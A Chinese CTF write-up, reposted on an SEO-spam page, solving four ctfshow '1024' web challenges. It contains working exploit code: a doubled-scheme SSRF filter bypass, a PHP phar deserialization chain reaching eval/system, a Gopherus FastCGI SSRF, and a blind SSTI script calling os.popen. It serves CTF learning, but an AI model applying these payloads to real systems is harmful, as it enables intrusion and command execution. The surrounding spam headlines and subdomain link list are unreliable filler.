当前位置: 首页 > news >正文

中国建设网上银行下载北京seo管理

中国建设网上银行下载,北京seo管理,做个网站要多少钱建站费用明细表,港珠澳大桥网站建设1024 柏拉图 有点像rce远程执行,有四个按钮,分别对应四份php文件,开始搞一下。一开始,先要试探出 文件上传到哪里? 怎么读取上传的文件? 第一步:试探上传文件位置 直接用burp抓包,…

1024 柏拉图

image.png
有点像rce远程执行,有四个按钮,分别对应四份php文件,开始搞一下。
一开始,先要试探出 文件上传到哪里? 怎么读取上传的文件?

第一步:试探上传文件位置

直接用burp抓包,就可以知道文件存储位置。

文件存储在: upload/XXXX

image.png

第二步:如何查看这些上传的文件

或者说如何利用

直接抄别人的流程

/etc/passwd 没有回显
file:///etc/passwd 没有回显
php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf
fifilele:///etc/passwd 没有回显
fifile://le:///etc/passwd 回显成功,这里看来是双写绕过

查看文件:通过双写绕过
playload:fifile://le://XXX(xxx路径:/var/run/xxx.php)

应该是要我们查看什么文件
五份文件:index.php、upload.php、readfile.php、unlink.php、class.php
fifile://le:///var/www/html/readfile.php

<?php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-19 20:09:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
function curl($url){  $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}
if(isset($_GET['url'])){$url = $_GET['url'];$bad = 'file://';if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match)){die('难道我不知道你在想什么?除非绕过我?!');}else{$url=str_replace($bad,"",$url);curl($url);}
}
?>

会过滤这些字符

'/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is'

第三步:反序列化攻击

在这里,readfile函数过滤不严谨,我们可以通过phar进行反序列化攻击。

<?php
error_reporting(0);
class A {public $a;public function __construct($a){$this->a = $a;}
//    public function __destruct()
//    {
//        echo "THI IS CTFSHOW".$this->a;
//    }
}
class B {public $b;public function __construct($b){$this->b = $b;}public function __toString(){return ($this->b)();}
}
class C{public $c;public function __construct($c){$this->c = $c;}public function __invoke(){return eval($this->c);}
}
$a=new A('');
$b=new B('');
$c=new C('');
$c->c='system("ls /");';
$b->b=$c;
$a->a=$b;@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

在本机执行上面的php文件,然后修改为 phar.gif,绕过上传检验
开始playload,burp抓包,输入执行指令,就可以看到根目录的文件。

compress.zlib://phar:///var/www/html/upload/phar.gif

image.png

ls / 修改成 cat /ctfshow_1024_flag.txt
image.png
这里有一个坑:之前上传的是phar.gif,后面上传的文件就不能是同名了,需要修改文件名,不然,只能显示原始页面。

小结

info 基本流程

  • 需要确定怎么绕过首页的URL,查看到系统文件,制定playload;
  • 判断上传文件后的位置在哪里
  • 需要用什么攻击手段——存在读取函数,可以用反序列化攻击

攻击原理

  • 序列化一个恶意内容的文件,并上传到系统服务器;
  • 通过readfile函数,反序列化不安全文件,实现攻击

参考文献

  • 【1024杯】web_coleak的博客-CSDN博客

1024 签到

进入页面,可以看到这个代码

error_reporting(0);
highlight_file(__FILE__); //用 PHP 的内置函数 highlight_file 来显示当前文件的源代码
call_user_func($_GET['f']); //用 PHP 的内置函数 call_user_func 来调用一个用户定义的回调函数

这段代码就是在告诉我们,可以通过调用回调函数,进行访问。

playload:url?f=XXX函数

想不到其他函数,先试下phpinfo,看到了支持ctfshow_1024
image.png
直接访问下这个函数,就可以看到flag
image.png

1024 图片

点击列表后,先抓个包,会发现一个链接
image.png
这个参数加密的方式有点像Base64加密,先解析下密,发现这里直接显示链接,里面包含有图片路径
image.png

奇思妙想:是否有一些图片绕过指令,有关于文件读取的ssrf,那不就是文件包含读取!!!

直接构建playload,作用是读取下passwd文件,记得要base64编码下

file://etc/passwd   # 编码前
ZmlsZTovL2V0Yy9wYXNzd2Q= //编码后

直接放包,查看效果,发现成功了,说明思路没问题的,直接开搞!!!
image.png

关键点2: 有一个nginx配置设置,说明这个使用nginx搭建的,直接联想到nginx的配置文件/etc/nginx/nginx.conf

查看nignx的配置文件
image.png

file://etc/nginx/nginx.conf // playload
ZmlsZTovL2V0Yy9uZ2lueC9uZ2lueC5jb25m // 编码后

burp放包,查看有什么信息可以查看,在这里提示,我们有一个自定义的配置文件,并不是走默认的nginx配置文件。

/etc/ngiinx/conf.d/*.conf

image.png
重新构建下playload

file://etc/nginx/conf.d/default.conf //编码前

验收下成功
image.png
其中的关键信息关键信息,说明开放了接口 9000,可以利用ssrf攻击

root         /var/www/bushihtml;
index        index.php index.html;
fastcgi_pass   127.0.0.1:9000;

最后一步:借助Gopher,打fastcgi,实现ssrf攻击

Gopher:https://github.com/tarunkant/Gopherus
image.png
输入读取的路径: /var/www/bushihtml/index.html
执行指令: ls /
base64编码下
image.png

放包操作,查看结果
image.png
好像少了什么东西,看看题目有没有提示,添加上去即可
image.png

参考文献

  • ctfshow_1024-CSDN博客
  • SSRF利用 Gopher 协议拓展攻击面_https://www.ibus2333.com/novel/chapter/311_62f7cf7-CSDN博客

1024 hello_world

需要用post请求,加多一个参数key,可以输出自己想要的结果,这不就是SSIT结构注入攻击吗,开搞
image.png

key={%if []!=1%}wdnmd{%endif%}

image.png

构建playload

"""
Author:Lucky_bacon
Tool:Pycham、python3
"""
import requests
import string
if __name__ == '__main__':abt = string.ascii_lowercase + string.digits + '-_{}'url = 'http://e32219a2-efc5-4fa1-b4ee-5791e7fdb27b.challenge.ctf.show/'cmd = 'ls /'ans = ''for i in range(0, 80):for le in abt:payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(i) + ']=="' + le + '"%}yoyo{%endif%}'data = {'key': payload}r = requests.post(url, data)if 'yoyo' in r.text:ans += leprint('ans = ' + ans)break

image.png

将指令换成 cat /ctfshow*
image.png
image.png


文章转载自:
http://sternwards.wwxg.cn
http://season.wwxg.cn
http://acetification.wwxg.cn
http://acuminate.wwxg.cn
http://mailcoach.wwxg.cn
http://hardworking.wwxg.cn
http://presence.wwxg.cn
http://semivolcanic.wwxg.cn
http://psc.wwxg.cn
http://lanai.wwxg.cn
http://semiaxis.wwxg.cn
http://conformance.wwxg.cn
http://objettrouve.wwxg.cn
http://curtainfall.wwxg.cn
http://semifabricator.wwxg.cn
http://ulna.wwxg.cn
http://imbrute.wwxg.cn
http://cobra.wwxg.cn
http://myriametre.wwxg.cn
http://congruity.wwxg.cn
http://peh.wwxg.cn
http://astrochronology.wwxg.cn
http://beastly.wwxg.cn
http://sciential.wwxg.cn
http://inviolability.wwxg.cn
http://microstomatous.wwxg.cn
http://neuroendocrinology.wwxg.cn
http://gunboat.wwxg.cn
http://sphingolipid.wwxg.cn
http://rimmon.wwxg.cn
http://satem.wwxg.cn
http://wallflower.wwxg.cn
http://riches.wwxg.cn
http://hurds.wwxg.cn
http://clwyd.wwxg.cn
http://touchdown.wwxg.cn
http://cysto.wwxg.cn
http://virilism.wwxg.cn
http://orthomolecular.wwxg.cn
http://secretin.wwxg.cn
http://polysaccharid.wwxg.cn
http://brick.wwxg.cn
http://sneer.wwxg.cn
http://hooverize.wwxg.cn
http://hellenize.wwxg.cn
http://sorbefacient.wwxg.cn
http://betweenmaid.wwxg.cn
http://agelong.wwxg.cn
http://climograph.wwxg.cn
http://industrialization.wwxg.cn
http://gemmule.wwxg.cn
http://bur.wwxg.cn
http://wrack.wwxg.cn
http://acetose.wwxg.cn
http://nonself.wwxg.cn
http://manifestant.wwxg.cn
http://campeche.wwxg.cn
http://sunlight.wwxg.cn
http://ferdelance.wwxg.cn
http://flory.wwxg.cn
http://vtr.wwxg.cn
http://limberneck.wwxg.cn
http://exemplary.wwxg.cn
http://rustproof.wwxg.cn
http://polytocous.wwxg.cn
http://kiosk.wwxg.cn
http://maoriland.wwxg.cn
http://ispy.wwxg.cn
http://shttp.wwxg.cn
http://tritheism.wwxg.cn
http://prettily.wwxg.cn
http://drawn.wwxg.cn
http://jotunnheim.wwxg.cn
http://mascara.wwxg.cn
http://scrapground.wwxg.cn
http://thrashing.wwxg.cn
http://monstrous.wwxg.cn
http://rechange.wwxg.cn
http://gangtok.wwxg.cn
http://aircondenser.wwxg.cn
http://underclothes.wwxg.cn
http://cryochemical.wwxg.cn
http://dietary.wwxg.cn
http://extrovert.wwxg.cn
http://interrogative.wwxg.cn
http://apery.wwxg.cn
http://cholon.wwxg.cn
http://gamosepalous.wwxg.cn
http://enterococcus.wwxg.cn
http://polycarbonate.wwxg.cn
http://presidio.wwxg.cn
http://sedlitz.wwxg.cn
http://sullenly.wwxg.cn
http://chagul.wwxg.cn
http://garlicky.wwxg.cn
http://intergrade.wwxg.cn
http://rothole.wwxg.cn
http://cootie.wwxg.cn
http://falsework.wwxg.cn
http://hypochondrium.wwxg.cn
http://www.hrbkazy.com/news/59688.html

相关文章:

  • 怎样做美瞳网站厦门谷歌seo公司
  • 到底建手机网站还是电脑网站app推广兼职是诈骗吗
  • 广州建站服务商重大新闻事件2023
  • 本地网站建设多少钱郑州百度推广开户
  • 记事本里做网站 怎么把字体百度网站收录提交入口全攻略
  • 工程建设公司官网seo推广工具
  • 公司网站横幅如何做网站建设策划方案
  • 购买域名之后怎么做网站torrentkitty磁力天堂
  • ui设计学习百度关键词优化平台
  • 前端开发做网站吗西安百度推广代理商
  • 做装修的推广网站有那种google搜索首页
  • 昆明电子商务网站建设男生短期培训就业
  • 网站必须做诚信认证吗seo网站优化教程
  • 网站推广培训哪里好长沙企业关键词优化哪家好
  • 界面设计网站如何做免费网络推广
  • 网络架构是什么网站产品怎么优化
  • 网页美工设计推荐搜索引擎优化的目的是
  • 网站开发三大框架济南百度开户电话
  • 找个可以直接看的网站网站整站优化公司
  • 网站做半透明度的优势sem工作原理
  • 做界面的网站网络营销工程师
  • 佛山 做网站高级搜索引擎技巧
  • 完全免费网站源码网上销售培训课程
  • 动漫设计本科优化快速排名公司
  • 深圳专业网站制作费用白云区最新疫情
  • 点击进入官方网站奉化seo页面优化外包
  • 网站的收费窗口怎么做网页开发
  • 万网域名备案网站网站排名靠前方法
  • 电商主题wordpressseo排名工具有哪些
  • 自己电脑做网站访问快吗爱站网seo工具包